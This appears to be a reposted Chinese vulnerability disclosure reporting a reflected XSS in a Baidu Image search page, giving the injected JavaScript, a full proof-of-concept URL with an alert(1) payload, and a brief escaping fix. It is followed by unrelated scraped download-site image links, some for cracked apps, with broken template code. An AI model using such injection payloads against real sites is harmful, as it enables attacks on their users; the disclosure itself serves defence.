只是一个反射型XSS
对参数word的值在下面这段js代码中的输出没有进行严格的过滤,导致可植入恶意的javascript代码。
var hotWordResult=[];
try{
hotWordResult= [
/*
校花代表大会
*/alert(1),/*
*/
/*
国际变性人选美
*/alert(1),/*
*/
/*
宠物刺猬缺牙照
*/alert(1),/*
*/
/*
脸基尼大妈
*/alert(1),/*
*/
/*
河南裤腰带大门
*/alert(1),/*
*/
/*
南京美腿大赛
*/alert(1),/*
*/
/*
吴京谢楠结婚
*/alert(1),/*
*/
/*
神秘的深泉学院
*/alert(1),/*
*/
/*
90后谋女郎
*/alert(1),/*
*/
/*
台湾双胞胎姐妹
*/alert(1),/*
*/
];
}catch(e){}
POC URL:
http://image.baidu.com/i?ct=503316480&z=0&tn=baiduimagedetail&ipn=d&word=*/alert%281%29,/*&step_word=&ie=utf-8&in=29813&cl=2&lm=-1&st=-1&pn=0&rn=1&di=8662042290&ln=31&fr=wenku&&fmq=1400316300811_R&ic=&s=&se=&sme=0&tab=&width=&height=&face=&is=&istype=2&ist=&jit=&objurl=http%3A%2F%2Fvimg1.ws.126.net%2Fimage%2Fsnapshot%2F2010%2F6%2FH%2FP%2FV67GO76HP.jpg#pn0&-1&di8662042290&objURLhttp%3A%2F%2Fvimg1.ws.126.net%2Fimage%2Fsnapshot%2F2010%2F6%2FH%2FP%2FV67GO76HP.jpg&fromURLippr_z2C%24qAzdH3FAzdH3Ffjw6vi_z%26e3Be_z%26e3B8mn_z%26e3Bv54AzdH3Ffjw6viAzd
相关截图:

修复方案:
这个点的输出也再适当的escape一下吧。
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;

![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)